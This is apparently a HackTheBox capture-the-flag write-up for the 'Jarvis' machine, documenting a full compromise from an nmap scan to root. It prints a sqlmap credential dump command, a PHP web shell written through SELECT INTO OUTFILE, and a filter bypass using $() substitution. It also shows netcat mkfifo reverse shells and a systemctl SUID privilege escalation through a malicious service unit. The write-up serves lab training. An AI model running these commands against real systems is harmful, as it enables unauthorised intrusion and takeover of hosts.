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Hey Guys,Today we will be doing Jarvis from HackTheBox,

Nmap Scan

[sarthak@sarthak ~]$ nmap -sV -Pn -v                                                                                      
Starting Nmap 7.70 ( ) at 2019-06-29 17:55 IST
NSE: Loaded 43 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 17:55
Completed Parallel DNS resolution of 1 host. at 17:55, 0.01s elapsed
Initiating Connect Scan at 17:55
Scanning [1000 ports]
Discovered open port 22/tcp on
Discovered open port 80/tcp on
Increasing send delay for from 0 to 5 due to 79 out of 262 dropped probes since last increase.
Completed Connect Scan at 17:56, 54.66s elapsed (1000 total ports)
Initiating Service scan at 17:56
Scanning 2 services on
Completed Service scan at 17:56, 7.18s elapsed (2 services on 1 host)
NSE: Script scanning
Initiating NSE at 17:56
Completed NSE at 17:56, 2.45s elapsed
Initiating NSE at 17:56
Completed NSE at 17:56, 0.00s elapsed
Nmap scan report for
Host is up (0.58s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 65.01 seconds

We have only 2 ports opened(well one more but it was a rabbit hole) so let’s start looking at port 80

Enumerating Web Server

After looking around we found a good candidate for vulnerabilites like sql injection or LFI,etc


We were able to harvest credentials of admin from this following query

sqlmap -u "" --random-agent -D mysql -T user  --dump

and the output is :-


But this is a sha1 hash so after some hit and trial with the hash we got the value decrypted :)


Getting Remote Code Execution

we found phpmyadmin in dirb results

[sarthak@sarthak ~]$ dirb                                                                                    [0/29]

DIRB v2.22                       
By The Dark Raver                

START_TIME: Sat Jun 29 18:00:31 2019                               
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt                                                                                   


GENERATED WORDS: 4612                                                                                                                  

---- Scanning URL: ----                                                                                           

After logging in with the credentials we got from sqlmap,We created a new database to upload shell (Reference)

We used the following query to create a new PHP one liner shell

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/hack.php"

We can execute commands now

Low Priv Shell

We downloaded a PHP shell from here and started a listner

Now we got a shell by executing this command on our rce php file…;php sh.php

Pivoting to pepper user

we saw that we can execute this script as user pepper

$ python -c 'import pty;pty.spawn("/bin/bash")'                                                 
www-data@jarvis:/$ sudo -l                                                                      
sudo -l                                                                                         
Matching Defaults entries for www-data on jarvis:                                               
    env_reset, mail_badpass,                                                                    
User www-data may run the following commands on jarvis:                                         
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/                                

After Going through the source code we found out that if we execute this script with -p paramter, it will ask for an ip address and there we can inject our code but it have a security check which blocks some characters…

forbidden = ['&', ';', '-', '`', '||', '|']

So after googling for a while we found out this,So according to this we can execute commands inside $(commands) and it will bypass those checks…

So we downloaded a on the server which has netcat reverse shell in it …

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1233 >/tmp/f

and upon executing this command we get a reverse connection

sudo -u pepper /var/www/Admin-Utilities/ -p

then it asks for a IP address and we executed this command to get shell

$(sh /var/www/html/


Upon executing this find / -perm -u=s -type f 2>/dev/null command we found out that systemctl will run as root

pepper@jarvis:/var/www$ find / -perm -u=s -type f 2>/dev/null 
find / -perm -u=s -type f 2>/dev/null 

To exploit this we have to create our own service which will get us shell so we use this website to get a template for service creation

Description=Example systemd service.

ExecStart=/bin/bash /home/pepper/


we saved it as sarthak.service and given proper permissions chmod 777 sarthak.service and that has another netcat shell which will pop shell on port 1232

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1232 >/tmp/f" >;chmod +x

Now we will take reference from this site


 pepper@jarvis:~$ TF=/home/pepper/sarthak.service
pepper@jarvis:~$ /bin/systemctl link $TF
/bin/systemctl link $TF
Created symlink /etc/systemd/system/sarthak.service -> /home/pepper/sarthak.service.
pepper@jarvis:~$ /bin/systemctl enable --now $TF
/bin/systemctl enable --now $TF
Created symlink /etc/systemd/system/ -> /home/pepper/sarthak.service.

And on our netcat now :)

 [sarthak@sarthak ~]$ nc -nvlp 1232
Connection from
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# python -c 'import pty;pty.spawn("/bin/bash")'
root@jarvis:/# id
wuid=0(root) gid=0(root) groups=0(root)
root@jarvis:/# hoami

Hooray !!! We rooted it

This was a good and straight forward machine, and if you guys like it stay tuned for more :)